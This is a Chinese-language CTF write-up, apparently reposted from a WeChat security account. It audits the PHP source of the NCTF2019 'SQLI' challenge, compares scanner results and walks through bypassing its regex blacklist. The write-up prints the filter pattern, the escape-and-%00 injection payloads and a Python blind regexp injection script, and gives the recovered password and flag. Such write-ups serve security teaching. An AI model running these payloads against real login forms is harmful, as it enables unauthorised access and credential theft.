php代码审计案例之SQLI

admin 2023年1月6日10:55:12评论18 views字数 2438阅读8分7秒阅读模式
所谓代码审计是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。在安全领域,为了发现安全问题,常通过黑盒测试、白盒测试方法来尽可能的发现业务程序中的安全问题,代码审计就是白盒测试的常用方法,相较于黑盒测试,由于白盒测试能接触到源代码,可以更加详细的理解业务程序逻辑,也能更全面的发现安全风险。接下来本系列文章将以php代码审计为切入点,过程中结合常见源代码扫描工具和动态调试方法,来讲解php代码审计的常见漏洞点和分析方法。本章节以NCTP2019Web题目SQLI为审计对象,相关源代码网上也都有公开。
代码审计过程

源代码扫描效果查看

php代码审计案例之SQLI

php代码审计案例之SQLI

php代码审计案例之SQLI

php代码审计案例之SQLI
rips

1XSS+1SQL注入

Seay

Fortify

2SQL注入+2XSS+3敏感数据泄漏

总的来看,我们可以知道面对SQL注入这种语法层面的漏洞特征,seay是无力的,它的特征都是针对特定的函数名的。因此在这一道主要重点考察SQL注入漏洞的CTF赛题的时候,seay颗粒无收。而rips和fortify都发现了SQL注入漏洞特征,其主要依据是SQL语句中包含有$_GET,$_POST所提交的数据。

接下来我们来看一下源码

php代码审计案例之SQLI

可以看到下面一部分,在进行SQL请求的时候,将$_GET,$_POST所提交的数据直接拼接成SQL,因此这里肯定有SQL注入漏洞。但是在请求之前,通过black_list黑名单列表,对请求的参数值进行的检查。如果请求的数据包含有黑名单数据,那么就直接退出。因此这里主要考察的就是SQL注入的绕过问题。

其中黑名单为,不区分大小写,后台为MySQL数据库。

/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

当我们输入特征时,就会出现下面的报错

php代码审计案例之SQLI

我们在本地简单调试一下,当输入username=123&passwd=123时

php代码审计案例之SQLI

最终构成的SQL语句如下

"select * from users where username='123' and passwd='123'"

由于这里单引号在黑名单里,因此这里如果想要形成拼接的话,只有在username处输入为,使得第二个单引号被转义,从而在SQL语句层面中变成一个查询字符。

php代码审计案例之SQLI

如果没有转义符号,会构成SQL层面的语法错误

php代码审计案例之SQLI

到这里我们可以形成,大致如下的SQL语句,其中红色部分会被认为是一个字符串,并作为username的值。

"select * from users where username='123' and passwd='123'"

php代码审计案例之SQLI

但是这里由于有3个单引号,SQL语法上还是有问题的,因此需要将最后字符字符处理掉,使其不在整个SQL语句的逻辑中。这里可以通过%00进行截断

可以看到,最后空字节%00成功隔绝了最后一个单引号,使得SQL语法不会报错。

php代码审计案例之SQLI

这里我们注意,即使黑名单里有%00,但是%00会转成空字节,在进入index.php时,已经被转为空字节,所以不会匹配到黑名单

php代码审计案例之SQLI

根据最后的代码逻辑,当我们输入的密码和数据库内的密码相同,就会将flag给打印出来,因此这里我们就需要利用SQL注入获取admin的密码

php代码审计案例之SQLI

由于有黑名单过滤,这里可以通过regexp进行正则匹配注入,不断的去探测字符。

php代码审计案例之SQLI

例如当想要探测用户名时,就可以通过正则不断匹配前面字符,当匹配到时,返回1,没匹配到,返回0

select user() regexp '^r'

php代码审计案例之SQLI
php代码审计案例之SQLI

同理这里就可以构造passwd字段的值为||passwd regexp "^r";%00

然后不断修改'^r'对应的字符,从而获取passwd的值,另外这里将空格也过滤掉了,通过注释符进行绕过,得到||passwd/**/regexp/**/"^r";%00

php代码审计案例之SQLI

最终得到

php代码审计案例之SQLI

当passwd/**/regexp/**/"^r";%00 为0时,显示为空,最终会打印<script>alert("try to make the sqlquery have its own results")</script>

php代码审计案例之SQLI
php代码审计案例之SQLI

而当||passwd/**/regexp/**/"^y";%00为1时,显示真实的账号密码

php代码审计案例之SQLI

从而跳转到welcome.php页面。

根据这个特性,最终编写脚本进行自动化发现

#coding:utf-8import requestsimport timeimport stringurl = "http://9b6213b7-4b4b-425b-8083-b30bb81d996c.node4.buuoj.cn:81/"str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''for n in range(100): print(n) for i in str_list: data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+i)} res = requests.post(url = url, data = data) if 'welcome.php' in res.text: payload += i print(payload) break elif res.status_code == 429: time.sleep(1)
php代码审计案例之SQLI

得到密码为you_will_never_know7788990

回到登录框,输入账号密码,账号随意,密码为you_will_never_know7788990

php代码审计案例之SQLI

最终得到flag为

flag{f3fb8909-fd48-4ae0-8978-adcd84175f0e}
php代码审计案例之SQLI


php代码审计案例之SQLI

原文始发于微信公众号(第59号):php代码审计案例之SQLI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月6日10:55:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php代码审计案例之SQLIhttp://cn-sec.com/archives/1502446.html

发表评论

匿名网友 填写信息